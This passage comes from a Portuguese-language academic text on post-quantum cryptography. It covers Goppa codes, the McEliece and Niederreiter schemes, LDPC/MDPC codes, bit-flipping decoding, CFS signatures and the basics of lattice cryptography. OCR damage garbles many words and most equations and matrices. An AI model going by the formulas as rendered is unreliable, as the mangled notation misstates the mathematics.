macao linear especificada por uma matriz de verificagdo de paridade (ou abreviadamente
matriz de paridade):

e Uma matriz de paridade H sobre C é uma matriz geradora de C*+. De outra forma:
dH € IF{IX” :C={velF, | HV"=0"€F}, onde r =n—k € a codimensdo de C (ou
seja, a dimensio do espaco ortogonal C).
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Torna-se facil ver que G e H, embora niao sejam unicamente definidas (pois nao
ha uma tnica base para C nem para Ct), relacionam-se por HG" = O € F;Xk .

A transformacdo linear definida por uma matriz de paridade € chamada funcdo sin-
drome do cddigo. O valor dessa transformagao sobre um vetor qualquer u € Fj denomina-
se sindrome desse vetor. Claramente, a sindrome de qualquer palavra de codigo € sempre
nula.

Definicéo S. A distancia (ou distancia minima) de um cddigo C C Fy € a distdncia de
Hamming minima entre palavras de C, i.e. dist(C) = min{wt(u) | u € C}.

Escreve-se [n,k,d] para um cddigo [n,k] cuja distancia minima € (pelo menos)
d. Se d > 2t+ 1, diz-se que o cddigo é capaz de corrigir pelo menos ¢ erros, no sentido
de existir ndo mais que uma unica palavra de c6digo a uma distancia de Hamming nao
superior a  de qualquer vetor de Fy.

Vérios problemas computacionais envolvendo c6digos sao intratdveis, comecando
com a prépria determinacio da distancia minima. Os seguintes problemas t€ém importan-
cia para criptografia baseada em cddigos:

Defini¢ao 6 (Decodificagdo geral). Seja F, um corpo finito, e seja (G,w,c) uma tripla
consistindo de uma matriz G € F’;X”, um inteiro w < n, e um vetor c¢ € Fg. O problema
da decodificacdo geral (GDP) consiste em determinar se existe um vetor m € P’; tal que
e = ¢ —mG tenha peso de Hamming wt(e) < w.

O problema de busca associado ao GDP consiste em calcular o vetor m dada a
palavra com erros c.

Defini¢ao 7 (Decodificagio de sindromes). Seja F, um corpo finito, e seja (H,w, s) uma
tripla consistindo de uma matriz H € F", um inteirow <n, e um vetor s € F. O problema
da decodificacdo de sindrome (SDP) consiste em determinar se existe um vetor e € JFZ com
peso de Hamming wt(e) < w tal que He" = s’.

O problema de busca associado ao SDP consiste em calcular o padrdo de erro e
dada sua sindrome s, := eH".

Tanto o problema da decodificacdo geral quanto o problema da decodificacio de
sindromes para codigos lineares sdo N P-completos [Berlekamp et al. 1978].

Em contraste com os resultados gerais, o conhecimento da estrutura de certos
cddigos torna o GDP e o SDP soldveis em tempo polinomial. Uma estratégia bdsica para
definir criptossistemas baseados em cdédigos €, portanto, manter secreta a informacgao
sobre a estrutura do codigo, e publicar um cédigo relacionado sem estrutura aparente
(portanto, por hipétese dificil de decodificar).

2.4.1.1. Cédigos de Goppa

Uma das familias mais importantes de cddigos lineares corretores de erros para
fins criptograficos € a dos cddigos de Goppa:
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Definicao 8. Dado um primo p, g = p™ para algum m > 0, uma sequéncia
L=(Ly,....L,_1) € IFZ de elementos distintos, e um polinomio ménico g(x) € Fy[x] de
grau t (chamado polinomio gerador) tal que g(L;) # 0 para 0 <i < n, o c6digo de Goppa
I'(L,g) é o codigo Fy-alternante correspondente a GRS,(L, D) sobre F,, onde
D=(gLo)™,....gLn-)7D).

A distancia de um cédigo bindrio irredutivel de Goppa € pelo menos 27+ 1 [Goppa
1970], e portanto um c6digo de Goppa pode corrigir até ¢ erros (usando, por exemplo, o
algoritmo de Patterson [Patterson 1975], as vezes um pouco mais [Bernstein 2011]. Algo-
ritmos de decodificagdo adequados ainda podem corrigir ¢ erros quando o gerador g(x) nao
for irredutivel mas livre de quadrados. Por exemplo, pode-se equivalentemente ver um c6-
digo bindrio de Goppa como o cédigo alternante definido pelo polindmio gerador g2(x),
em cujo caso qualquer decodificador alternante conseguird decodificar 7 erros. Os cédigos
ditos selvagens (wild codes) estendem esse resultado sob certas circunstancias [Bernstein
et al. 2010]. Para todos os demais casos, ndo se conhece método de decodificacio capaz
de corrigir mais que #/2 erros.

Definimos, equivalentemente, cddigos de Goppa em termos de sua fungdo sin-
drome:

Definicao 9. Seja L = (Lg,...,L,—1) € IF"Z uma sequéncia (chamada suporte) de n < g
elementos distintos, e seja g € Fy[x] um polinomio irredutivel monico de grau de t tal que
g(Li) # 0 para todo i. Para qualquer palavra e € F, define-se a sindrome de Goppa em
forma polinomial s, € Fy[x] como

n—1

se0) = Y~

i=0 J

mod g(x). )

A sindrome € uma funcao linear de e. Segue dai a seguinte definicdo alternativa
de um cédigo de Goppa:

Defini¢ao 10. O cédigo de Goppa [n,n—mt] sobre F,, com suporte L e polinomio gerador
g € o miicleo da fungdo sindrome (Equagdo 5), i.e. o conjunto de I'(L,g) :={e € F}, | s, =0
mod g}.

Escrevendo sq(x) := Y, s;x’ para algum s € F", pode-se mostrar que s* = He" com

H = toep(g1,...,8:)
vdmy(Ly,...Ly—1) (6)

diag(g(Lo) ™!, ...,g(La-1)™h)

Assim, H =TVD onde T € uma matriz de Toeplitz ¢ X t, V € uma matriz de Vandermonde
txn, e D € uma matriz diagonal n X n, de acordo com as seguintes defini¢des:

Definicao 11. Dada uma sequéncia (g1,...,8:) € P’q para algum t > 0, a matriz de Toeplitz
toep(g1,...,8&) € a matriz t Xt com componentes T;j := g,—i+j para j<ie T;j:=0 nos
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demais casos, ou seja:

g 0 .. 0
gl‘—l gt e 0
toep(g1,....8) =| . T

Definicao 12. Dados t > 0 e uma sequéncia L = (Ly,...,L,-1) € PZ para algum n > 0, a
matriz de Vandermonde vdm(z, L) é a matriz t X n com componentes V;j = Li., ou seja:

1 L1

Lo ... L.,

vdm@,Ly=| Ly - L2
S
et

Definicéo 13. Dada uma sequéncia (dy, ...,dp-1) € Fy para algum n > 0, denota-se por
diag(do,...,d,—1) a matriz diagonal com componentes D :=d;, 0< j<n, e D;j := 0 nos
demais casos, ou seja:

dy 0 ... 0
0 d .. 0
diag(do,....dp-1)=| . . .
0 0 ... duy

2.4.2. Decodificabilidade

Todos os codigos [n, k] com distancia d satistazem o limite de Singleton, que esta-
belece que d < n—k+1. A existéncia de um codigo linear binario [n, k] com distancia d é

garantida desde que:

d-2

Z (n B 1) <2k,

=0/
Este é o chamado limite Gilbert-Varshamov (GV). Codigos bindrios aleatorios atingem o
limite GV, no sentido de que a desigualdade acima aproxima-se muito da igualdade [MacWil-
liams e Sloane 1977]. Nao se conhece nenhuma familia de c6digos bindrios, contudo, que

possa ser decodificada em tempo subexponencial até o limite GV, nem se conhece algo-
ritmo subexponencial para decodificar cédigos gerais até o limite GV.

Considere-se um cddigo F,-alternante de comprimento n e capaz de corrigir ¢
erros, derivado de um cédigo GRS sobre F,n. O espago de sindromes tem tamanho p™.
Contudo, as sindromes decodificiveis sdo apenas aquelas que correspondem a vetores de

~ . t n W oz ~
erro de peso ndo superior a 7. Em outras palavras, apenas )| _, W)(p — 1) sindromes ndo
nulas sdo univocamente decodificaveis, e assim a sua densidade é

1

1 n w
3o

w=1
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Se o comprimento do cddigo é uma fragdo 1/p¢ do comprimento méaximo para algum
c>0,i.e. n=p" ¢, adensidade pode ser aproximada por

5o ) (nf)(p_ O G L Vi (p— 1)’ I

NW 1 pmit! pe T

Um caso particularmente bom €, portanto, > 1/¢!, que ocorre quando p/(p—1) <1, i.e.
c<log,(p—1),ounzp"/(p—1). Infelizmente isso também significa que, para codigos
bindrios, as densidades mais elevadas sdo atingidas somente por cddigos de comprimento
maximo ou quase maximo, caso contrario a densidade se reduz de um fator 2¢'. Para
codigos de comprimento méaximo (n = p’ e portanto ¢ = 0) a densidade simplifica-se para
& ~ (p—1)"/t!, que atinge o minimo relativo § ~ 1/¢t! para c6digos bindrios.

Estaremos interessados também no caso particular de padrdes de erro em que uma
magnitude particular predomina sobre as demais, € mais especialmente quando todas as
magnitudes de erro sdo iguais. Nesse caso, a densidade de sindromes decodificdveis é
0 ~ (p—1)/t! que novamente atinge o minimo ¢ ~ 1/t! para cédigos bindrios.

2.4.3. Criptossistemas baseados em codigos

Os esquemas originais de encriptagdo de McEliece [McEliece 1978] e de Nieder-
reiter [Niederreiter 1986], a despeito do nome histérico, mas impreciso e indevido, de
criptossistemas, sao mais bem descritos como fungoes de mdo ivinica com al¢apdo (trap-
door one-way functions) do que como métodos completos de encriptacdo propriamente
ditos. Funcdes dessa natureza podem ser transformadas de diversas maneiras em criptos-
sistemas, por exemplo, através da transformada Fujisaki-Okamoto.

E interessante notar que McEliece e Niederreiter comumente apresentam uma van-
tagem substancial de velocidade de processamento sobre esquemas mais tradicionais. Por
exemplo, sobre um cédigo de comprimento n ambos apresentam complexidade de tempo
O(n?), enquanto os sistemas Diffie-Hellman/DSA, assim como as operacdes do sistema
RSA com expoente privado, tém complexidade de tempo O(r®) com chaves de n bits.

Por simplicidade, as descri¢cdes dos esquemas de McEliece e de Niederreiter a
seguir assumem que os padrdes de erros corrigiveis sdo vetores bindrios de peso 7, mas
variantes com padrdes mais gerais de erro sdo possiveis, conforme a capacidade de cor-
recdo do cdédigo subjacente. Critérios simples e efetivos para a escolha de parametros sao
oferecidos na secdo 2.4.3.3. Cada esquema de encriptagdo consiste em trés algoritmos:
GerarChaves, Encriptar e Decriptar.

2.4.3.1. McEliece

e GerarChaves. Dado o nivel desejado de seguranga A, escolhem-se um primo p
(comumente p = 2), um corpo finito F, com g = p" para algum m > 0, e um cédigo
de Goppa I'(L, g) com suporte L = (Lo, ...,L,-1) € (Fy)" (de elementos distintos) e
polindmio gerador g € F,[x] de grau 7 e livre de quadrados, satisfazendo g(L;) # 0,
0 < j <n. Seja k = n—mt. Norteia-se a escolha de modo que o custo de decodificar
um c6digo [n,k, 2t + 1] seja pelo menos 24 passos. Calcula-se uma matriz geradora
sistematica G € IF?‘,X” paral'(L,g),i.e. G = [I; | ~M"] para alguma matriz M € P;’}”k
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e sendo I; a matriz identidade de ordem k. A chave privada € sk := (L, g), e a chave
publica é pk := (M, 1).

. . . $
e Encriptar. Para encriptar um texto legivel d € FX, escolhe-se um vetor e «<{0, 1}" C
', com peso wt(e) <, e calcula-se o texto encriptado ¢ «— dG +e € F,.

e Decriptar. Para decriptar um texto encriptado ¢ € F), com o conhecimento de L e
g, calcula-se a sindrome decodificavel de ¢, aplica-se a ela um decodificador para
determinar o vetor de erros e, e recupera-se o texto legivel d a partir das primeiras
k colunas de ¢ —e.

2.4.3.2. Niederreiter

e GerarChaves. Dado o nivel desejado de seguranca A, escolhem-se um primo p
(comumente p = 2), um corpo finito IF, com g = p" para algum m > 0, e um cédigo
de Goppa I'(L, g) com suporte L = (L, ...,L,1) € (Fy)" (de elementos distintos) e
polindbmio gerador g € F,[x] de grau ¢ e livre de quadrados, satisfazendo g(L;) # 0,
0 < j<n. Seja k =n—mt. Norteia-se a escolha de modo que o custo de decodi-
ficar um cédigo [n,k, 2t + 1] seja pelo menos 24 passos. Calcula-se uma matriz de
paridade sistemética H € IF}’}’X” paraI'(L,g), i.e. H=[M| I,,] para alguma matriz

M e IFZ”X" e sendo I,; a matriz identidade de ordem mt. Finalmente, escolhe-se

como parametro publico uma fun¢@o de posto de permutacdo ¢ : B(n,t) — Z/ (7)2
A chave privada € sk := (L, g), e a chave publica é pk := (M, t, ).

e Encriptar. Para encriptar um texto legivel d € Z/ (’Z)Z, representa-se d como um

padrio de erros e « ¢~ 1(d)ef{0,1)" C IF’;, de peso wt(e) = t, e calcula-se como texto
encriptado a sua sindrome s «— eH" € FZ” .

e Decriptar. Para decriptar um texto encriptado s € ]F’;t com o conhecimento de L e
g, transforma-se essa sindrome numa outra decodificavel, aplica-se ao resultado um
decodificador para determinar o vetor de erros e, e recupera-se a partir deste o texto
legivel d « ¢(e).

2.4.3.3. Parametros para criptossistemas baseados em codigos

Os esquemas cldssicos de McEliece e Niederreiter, implementados sobre a classe
dos cddigos de Goppa, permanecem seguros até a data presente, em contraste com im-
plementacOes sobre muitas outras familias propostas de codigos [Gibson 1996, Otmani
et al. 2010]. De fato, codigos de Goppa t€m resistido muito bem a intensas tentativas
de criptoandlise, e a despeito do progresso considerdvel na drea [Bernstein et al. 2011]
(ver também [Bernstein et al. 2008a] para uma resenha), eles permanecem essencial-
mente intactos para fins criptograficos desde que foram sugeridos no trabalho pioneiro de
McEliece [McEliece 1978].
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Tabela 2.3. Parametros para McEliece/Niederreiter usando cédigos de Goppa binarios
genéricos

m n k t lg WF | pk|

11 1893 1431 42 80.025 661122
12 2887 2191 58 112.002 1524936
12 3307 2515 66 128.007 1991880
13 5397 4136 97 192.003 5215496
13 7150 5447 131 256.002 9276241

A Tabela 2.3 sugere parametros para codigos subjacentes a criptossistemas do tipo
McEliece ou Niederreiter e o tamanho |pk| em bits da chave publica resultante. Apenas
codigos de Goppa genéricos irredutiveis sdo considerados.

Nota-se que, nesse cendrio de codigos genéricos de Goppa, esses esquemas sao
adversamente afetados por chaves muito grandes em comparacdo as contrapartidas con-
vencionais. Segue dai a importancia de buscar meios de reduzir os tamanhos de chaves,
mantendo contudo intacto o nivel de seguranca associado.

Os primeiros passos rumo ao objetivo de reduzir o tamanho das chaves sem redu-
zir o nivel de seguranca em criptossistemas pos-quanticos foram dados por Monico et al.
através de codigos com (matriz de) verificagdo de paridade de baixa densidade (low den-
sity parity-check, ou LDPC) [Monico et al. 2000], depois por Gaborit através de codigos
quase-ciclicos [Gaborit 2005], e por Baldi e Chiaraluce através de uma combinagdo de
ambos [Baldi e Chiaraluce 2007].

2.4.4. Cédigos LDPC e QC-LDPC

Cédigos LDPC foram inventados por Robert Gallager [Gallager 1963] e sdo codi-
gos lineares obtidos de grafos esparsos bipartidos. Suponha que ¢ € um grafo com n nés
do lado esquerdo (chamados de n6s de mensagem) e r nés do lado direito (chamados de
nos de verificagdo), como podemos observar na figura 2.15 abaixo. O grafo da origem a
um c6digo linear de bloco de tamanho n e dimensdo de ao menos n —r da seguinte forma:
as n coordenadas das palavras de codigos sdo associadas com os n nds de mensagens.
As palavras de cédigos sdo os vetores (cy,...,c,) de tal modo que, para todos os nds de
verificacdo, a soma das posi¢des vizinhas entre os nds de mensagem seja zero.

Nés de Mensagem Nés de Verificagdo
/N
/N

Figura 2.15. Grafo bipartido

A representacdo por grafos é andloga a representacdo matricial olhando para a
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matriz de adjacéncia do grafo: seja H uma matriz bindria r X n cuja entrada (i, j) é 1 se
e somente se o i-ésimo nd de verificagcdo estd conectado ao j-€simo né de mensagem no
grafo. Entdo, o cédigo LDPC definido pela grafo é o conjunto de vetores ¢ = (cy,...,c,)
tal que H-c' =0. A matriz H é chamada de matriz de paridade para o cédigo. Reci-
procamente, qualquer matriz bindria r X n da origem a um grafo bipartido entre n nés de
mensagens € r nds de verificacdo, e o cédigo definido como espago nulo de H é preci-
samente o codigo associado a esse grafo. Portanto, qualquer cédigo linear possui uma
representacdo tal como um cédigo associado a um grafo bipartido (note que esse grafo
nao € definido unicamente pelo c6digo). Entretanto, nem todo cddigo linear binério pos-
sui uma representagdo como um grafo bipartido esparso. Se existir, entdo o codigo €
chamado de c6digo de verificacdo de paridade de baixa densidade (low-density parity-
check, ou LDPC).

Uma importante subclasse dos coédigos LDPC que apresentam vantagens sobre
outros cédigos da mesma classe € o dos codigos de verificacdo de paridade de baixa
densidade quase-ciclicos (QC-LDPC) [Tanner 2001]. Em geral, um c6digo QC-LDPC
[n,k] satisfaz n = nob e k = kob (e assim também r = rob) para algum b, ng, ko (e rp), €
admite uma matriz de paridade que consiste de ng X ro blocos de submatrizes circulantes
esparsas b xb. Um caso particular importante € quando b = r (e também ryp =1 e kg =
no— 1), uma vez que uma matriz de paridade sistemadtica para esse codigo € totalmente
definido pela primeira linha de cada bloco r X r. Diz-se que a matriz de paridade estd na
forma circulante.

Contudo, mostrou-se que todas essas propostas contém vulnerabilidades que as
tornam inadequadas para fins criptograficos [Otmani et al. 2010]. Com efeito, o alcapao
nesses métodos era protegido essencialmente por nenhum outro mecanismo além de uma
permutacao privada do codigo subjacente. A estratégia de ataque nesse panorama consiste
em obter um sistema soluvel de equacdes lineares que os componentes da matriz de per-
mutacao precisa satisfazer, e foi montada com sucesso devido a natureza excessivamente
restritiva da permutacdo secreta (uma vez que ela precisa preservar a estrutura quase-
ciclica do resultado) e ao fato de que o cddigo secreto € um subcddigo muito particular de
um cédigo publico.

Uma tentativa de consertar a proposta de Baldi e Chiaraluce chegou a ser pro-
posta [Baldi et al. 2008]. Mais recentemente, Berger et al. [Berger et al. 2009] mostraram
como evitar os problemas do esquema original de Gaborit e remover as vulnerabilidades
até entdo conhecidas por meio de duas técnicas:

1. Extrair cédigos publicos encurtados por blocos de cédigos privados muito longos,
explorando um teorema devido a Wieschebrink sobre a NP-completeza de distin-
guir cddigos encurtados [Wieschebrink 2006];

2. Trabalhar com subcddigos de subcorpo sobre um corpo intermediério entre o corpo
e o corpo de extensdo do codigo GRS original adotado pela construgao.

Essas técnicas foram aplicadas com algum sucesso a cddigos quase-ciclicos. Contudo,
a quase totalidade dessa familia de codigos foi posteriormente quebrada devido a falhas
estruturais de seguranca, mais precisamente uma relacao entre a estrutura secreta e certos
sistemas de equacdes multivariadas quadréticas [Faugere et al. 2010].
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A sabedoria histérica e experimental sugere, portanto, restringir a busca de
parametros mais eficientes para criptossistemas baseados em c6digos a classe dos codigos
de Goppa.

2.4.5. Cédigos MDPC e QC-MDPC

Uma subclasse interessante em termos de criptografia da familia QC-LDPC € dos
codigos de verificacdo de paridade de densidade moderada (MDPC) e sua variante quase-
ciclica (QC-MDPC) [Misoczki et al. 2012].

Esses codigos, apresentados por Misoczki et al., possuem densidades préximas
o bastante de cédigos LDPC que possibilitam a decodificacdo pelos métodos simples (e
indiscutivelmente mais eficientes) de propagacdo de crenga e bit flipping de Gallager,
ainda denso o bastante para prevenir ataques baseados na presenca de palavras muito
esparsas no cédigo dual como visto no ataque Stern [Stern 1989] e algumas variantes, sem
perder muita capacidade de correcao de erros, bem como manter ataques de decodificacao
baseados em conjuntos de informacgdes [Bernstein et al. 2008b, Bernstein et al. 2011]
também invidveis.

Além disso, para prevenir ataques estruturais como proposto por Faugere

et al. [Faugere et al. 2010] e por Leander e Gauthier [Umafia e Leander 2010], cédigos
orientados a criptografia devem se manter o mdximo possivel sem estrutura, exceto para o
alcapao secreto que permite a decodificacao privada e, no caso de cédigos quase-ciclicos,
simetrias externas que permitam uma implementacdo eficiente. Finalmente, a simetria
circulante pode introduzir fraquezas de seguranca como apontada por Sendrier [Sendrier
2011], mas isso induz somente um ganho polinomial (especificamente, linear) em efici-
éncia de ataques, e um pequeno ajuste nos parametros elimina totalmente esse problema.
Densidades tipicas nesse caso estdo no intervalo de 0.4% a 0.9% do tamanho do cédigo,
uma ordem de magnitude acima de cédigos LDPC, mas bem abaixo dos publicados em
MDPC mencionados acima, e certamente dentro da margem estipulada para cédigos de
Gallager. A construgdo é também tao aleatdria quanto possivel, apenas mantendo a densi-
dade desejada e a geometria circulante, além do tamanho do c6digo ser muito maior que
valores tipicos para MDPC.

2.4.6. Método de Decodificacao de decisao abrupta de Gallager (Bit Flipping)

Nessa secdo descrevemos o algoritmo de Gallager (Gallager’s hard decision de-
coding algorithm, ou mais simplesmente bit flipping, seguindo a concisa e clara descri¢ao
de Huffman e Pless [Huffman e Pless 2003]. Algoritmo esse necessdrio para recuperar a
mensagem original a partir da palavra de c6digo encriptada com erros.

Assumindo que a palavra de cddigo € encriptada com um cddigo bindrio LDPC
¢ para transmissdo, e o vetor ¢ é recebido. Para o cédlculo da sindrome s = cH", cada bit
recebido de ¢ afeta no maximo d, componentes dessa sindrome. Se somente o j-ésimo
bit de ¢ contiver um erro, entdo o correspondente d, de componente s; de s serd igual
a 1, indicando as equagdes de verificacdo de paridade que ndo estdo satisfeitas. Mesmo
se tiver alguns outros bits com erro entre aqueles que contribuiram para o cdlculo de s;,
espera-se que varios dos d, componentes de s serdo iguais a 1. Essa é a base do algoritmo
de decodificaciao de Gallager, tanto hard decision decoding, quanto bit-flipping.
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1. Computar cH" e determinar as posicdes de paridade que estao insatisfeitas (pode-se
dizer que essas posi¢des sao os componentes de cH" iguais a 1).

2. Para cada um dos n bits, computar o nimero de posicdes de paridade insatisfeitas
que envolvem aquele bit.

3. Inverta o valor dos bits de ¢ que estdo envolvidos no maior nimero de posi¢cdes
insatisfeitas.

4. Repetir passos 1, 2, e 3 até que se tenha cH" = 0, no caso que c¢ foi decodificado
com sucesso, ou até que um certo limite de nimero de iteragdes seja alcangado,
para o caso que a decodificac@o do vetor recebido falhou.

O algoritmo de bit-flipping nao é o melhor método de decodificac@o para codigos
LDPC; de fato, a técnica de propagacao de crenca [Gallager 1963, Huffman e Pless 2003],
¢ conhecida por exceder sua capacidade de correcdo de erros. Entretanto, decodificadores
de propagacdo de crenca envolvem uma computacdo com uma probabilidade cada vez
mais refinada para cada bit da palavra recebida ¢ que contiver um erro, incorrendo em
aritmética de ponto flutuante ou aproximagdes de alta precisdo que se adequem ao pro-
cesso e algoritmos computacionalmente caros. Em um cendrio em que o ndmero de erros
¢ fixo e conhecido antecipadamente, como € o caso de aplicagdes criptograficas, pardme-
tros podem ser ajustados de tal forma que métodos de decodificacdo complexos e caros,
como a propagacao de crenga, nao sao mais necessarios.

2.4.7. Assinaturas digitais com cédigos corretores de erros

Ap6s algumas tentativas falhas de se criar um esquema de assinatura digital
baseada em cddigos corretores de erros [Alabbadi e Wicker 1994, Stern 1995], em 2001,
Courtois, Finiasz e Sendrier propuseram um esquema promissor [Courtois et al. 2001].

24.7.1. CFS

O CFS foi proposto como um Sistema de Assinaturas Digitais baseado no Sistema
Criptogréfico McEliece. Por definicdao, um sistema de assinatura digital deve prover uma
maneira de assinar qualquer documento de tal forma que identifique unicamente seu autor
e que disponha de um algoritmo ptblico eficiente de verificacao de asssinatura. Para essas
tarefas, deve ser escolhido um cédigo linear, ilustrado na explicacdo como C. Entdo, o
CFS usa uma fun¢do de hash publica para resumir o documento m a ser assinado no vetor
h(m). Decodificando esse hash com o algoritmo de corre¢do de erros do c6digo escolhido,
obtemos um vetor ¢’, correspondendo a assinatura da mensagem m. Para a verificacdo da
assinatura, basta encriptar ¢’, recebido junto da mensagem m, e verificar se corresponde
ao cdlculo do hash da mensagem m. Como podemos verificar abaixo:

e Geragdo de Chaves

1. Escolher um Cédigo de Goppa G(L, g(X))

2. Obter sua matriz (n — k) X n de verificagao de paridade H
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3. Calcular V=8 HP, onde S € uma matriz bindria inversivel (nk) X (nk) aleatéria
e P uma matriz de permutacdo aleatéria n X n.

Assim, as chaves seriam: Chave Privada = G, Chave Publica = (V,r).
e Assinatura

1. Encontrar o menor i € N tal que, para ¢ = h(m,i) e ¢’ =S !¢, ¢’ seja uma
sindrome decodificdvel de G.

2. Usando o algoritmo de decodificacdo de G, obter o vetor de erros ¢’, cuja
sindrome seja ¢’, ou seja ¢’ = H(e')'.

3. Obter e/ = P71 (e’)".
Assim, a assinatura é o par: (e, i).
e Verificacdo de Assinatura

1. Obter c = Vé'.

2. Aceite somente se ¢ = h(m, i)

Apesar do CFS ser um esquema de assinatura ainda seguro apds passar por varias
criptoandlises, ndo € adequado para aplicagdes padrao comumente utilizadas hoje, ja que
além do tamanho das chaves publicas o custo para assinar sao muito grandes para um
conjunto de parametros seguros.

2.5. Criptografia baseada em reticulados

O uso de reticulados em criptografia surgiu com o trabalho de Ajtai [Ajtai 1996],
onde o problema de encontrar vetores pequenos em uma classe aleatéria de reticulados €
utilizado como base da demonstracdo da existéncia de fun¢des de mao Unica. A cripto-
grafia baseada em reticulados, além de estar amparada por demonstragdes de seguranca
construidas sobre a dificuldade do pior caso de determinados problemas, possui imple-
mentagdes eficientes e descri¢des relativamente simples de serem compreendidas.

A criptografia baseada em reticulados pode ser dividida em duas categorias: (i)
com demonstragdo de seguranca, como por exemplo o esquema de Ajtai ou aqueles com
base no problema LWE, cujos algoritmos envolvem operagdes com uma matriz A, que,
como veremos adiante, estd associada a chave publica, fazendo com que a encriptagdo e
decriptagcdo tenham complexidade quadrética ou mesmo cubica, deixando a desejar em
relacdo a criptografia convencional; ou (ii) sem demonstracao de seguranga, porém com
implementacgdo eficiente, como o NTRU. Um desafio recentemente resolvido foi o de
prover demonstracio de seguranca, com base no pior caso de problemas em reticulados
ideais, para esquemas com performance semelhante ao NTRU [Stehlé e Steinfeld 2011].
Embora problemas intratdveis em reticulados possam nao ser intratdveis em reticulados
ideais, ndo € conhecido nenhum algoritmo polinomial para resolvé-los, mesmo com fator
de aproximacgdo polinomial ou com o uso de computadores quanticos.
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2.5.1. Fundamentos

Definicao 14. Formalmente, reticulados sdo definidos como a combinagdo linear de n
elementos by, ...,b, € R™, linearmente independentes, denominados base do reticulado.

L(by,....b,) = {Z x;b;: x; € z}.

i=1

Em outras palavras, um reticulado é um espago vetorial discretizado, ou seja,
existe uma analogia que nos permite utilizar conceitos como norma, dimensdo, orto-
gonalidade, transformacdo linear, entre outros. Uma maneira alternativa de abordar o
assunto € por meio de notagdo matricial, onde a base pode ser representada por uma ma-
triz B = [by,...,b,], pertencente a R™". O reticulado gerado pela matriz B é definido por
L ={Bx|xeZ"}, de forma que o determinante det(B) € independente da escolha da base
e corresponde geometricamente ao inverso da densidade de pontos do reticulado em Z™.

Definicao 15. Dado um reticulado L(B), os vetores que constituem a base do reticu-
lado podem ser encarados como arestas de um paralelepipedo de dimensdo n. Assim,
podemos definir P(B) = {Bx | x € [0, 1)"}, denominado paralelepipedo fundamental de B.
Podemos redefinir o paralelepipedo de forma a obter uma regido simétrica. Para isso,
seja P1/2(B) = {Bx | x € [-1/2,1/2)"}, denominado paralelepipedo fundamental centra-
lizado de B. As figuras 2.16 e 2.17 ilustram exemplos de paralelepipedos fundamentais
(centralizado ou ndo) em dimensdo 2.

Vo .
V1

Vi °

Figura 2.16. P(B) Figura 2.17. P ,2(B)

Teorema 1. Seja L € R™ um reticulado de dimensdo n e seja ¥ o paralelepipedo funda-
mental de L, entdo dado um elemento w € R"™, podemos escrever w na forma w = v +1t,
parav e L eteF unicos. Esta equacdo pode ser encarada como uma redugcdo modular,
onde o vetor t € interpretado como w (mod F).

O volume do paralelepipedo fundamental é dado por Vol(¥) = |det(B)|. Dadas
duas bases B=1{by,...,b,} e B" = {b{,...,b,} de um mesmo reticulado L, temos que det(B) =
+det(B’).
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Figura 2.18. Reducao médulo #(B)

O problema de encontrar o vetor de norma minima (shortest vector problem -
SVP) € uma das questdes fundamentais em reticulados. Rigorosamente, dado o reticulado
L(B), deseja-se encontrar o vetor ndo nulo com norma minima. Na prética, é utilizado
um fator de aproximacao y(n) para o problema SVP, isto €, deseja-se encontrar um vetor
cuja norma seja inferior ao vetor de norma minima, multiplicada por y(n).

Outros problemas em reticulados, importantes do ponto de vista da criptografia,
sdo:

e 0 problema do vetor de distancia minima (closest vector problem - CVP). Dados
um reticulado £(B) e um vetor ¢t € R™, o0 objetivo é encontrar o vetor v € L(B) que
seja mais proximo de t;

e ¢ o0 problema dos vetores independentes minimos (shortest independent vector pro-
blem - SIVP). Dada uma base B € Z™*", o problema consiste em encontrar n vetores
linearmente independentes (vy,...,v,), pertencentes ao reticulado, tais que a norma
maxima entre os vetores v; seja minima.

Definicao 16. Dado um reticulado L e uma base B = (vy,...vy,), a razdo de Hadamard,
denotada por H(B), é definida da seguinte maneira:

1/n
det
H(B) = (_13) |
[Ti<icn llvill
E fécil mostrar que, para qualquer base B, temos que 0 < H(B) < 1. Além disso,
quanto mais proéximo de 1 mais ortonormal € a base.

Uma classe particularmente importante de reticulados € aquela formada pelos re-
ticulados g-drios, denotados por A,. Dado um inteiro g, os vetores do reticulado sio
restritos, coordenada a coordenada, a elementos de Z,. Dada uma matriz A € ZZX’", 0
reticulado g-ério € determinado pelas linhas de A, ao invés das colunas. Ou seja, é for-
mado pelos vetores y = AT s (mod g), para s € Z". O reticulado g-ario ortogonal, A;, em
relacdo a matriz A, € dado pelos vetores y tais que Ay =0 (mod ¢). Dado um reticulado
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L, o reticulado dual, L*, é formado pelos vetores y, tais que {x,y) € Z, para x € L. Em
especial, o reticulado g-ario ortogonal, AqL (A), éigual a gAy(A)*.

2.5.1.1. Algoritmo LLL

Nesta secao sera descrito o algoritmo LLL, que calcula uma nova base para um
determinado reticulado, com razdo de Hadamard mais proxima a 1. Isto é, o algoritmo
LLL realiza o que chamamos de reducdo de base, porque os vetores da nova base tem
maior ortonormalidade que a base original. Portanto, este algoritmo pode ser utilizado
para resolver o problema SVP, como veremos adiante.

Em um espago vetorial com base (vy,---,V,), a obtencdo de uma base ortonormal
€ realizada pelo algoritmo Gram-Schmidt. A ideia da reducdo de Gauss é a mesma que
estd por tras do algoritmo Gram-Schmidt, onde temos que y;; = v;v’/ |Iv¥||2, mas os valores
de p;; ndo sdo necessariamente inteiros, de modo que a redugio de Gauss considera o uso
do inteiro mais proximo [u;;]. O algoritmo termina quando este inteiro mais proximo €
zero, condicdo que apenas em dimensdo 2 garante que o menor vetor foi encontrado.

Algoritmo 2.5.1 Reducdo de Gauss
Entrada: Uma base (vi,17).
Saida: Retorna uma base com o menor vetor do reticulado (v]) e com um vetor v; que
nao pode ser reduzido pela subtragcdo de v.
vi=vievy =
enquanto verdade faca
se V3]l <|[vill entdo
troque v} com v;

Calcule m = [vi.v3/|IviII*].
se m = () entdo retorne (v}, v}).

% k %k
Troque v;, por v; —mv].

Definicdo 17. Seja B = (vi,...,vy) a base de um reticulado L e seja B* = (v],...,v;,) a base
retornada pelo algoritmo Gram-schmidt. A base B é denominada LLL reduzida se forem
satisfeitas as seguintes condi¢coes:

ViV
Condigdo de norma: |u; | = ”vl—”é < % paratodo 1 < j<i<n.
j

gy o 2 S (32 2 ~
Condigdo de Lovdsz: ||v}|| Z(Z_/”li,i—l)||v;<—1” para todo 1 <i<n.

Teorema 2. Seja B uma base LLL reduzida de um reticulado L, entdo B resolve o pro-
blema SVP com fator de aproximagdo 2""~V/2,

Um ponto importante que merece destaque € a escolha do valor 3/4. Se este valor
fosse substituido por 1, obteriamos a reducio de Gauss. Porém, ndo se sabe se o algoritmo
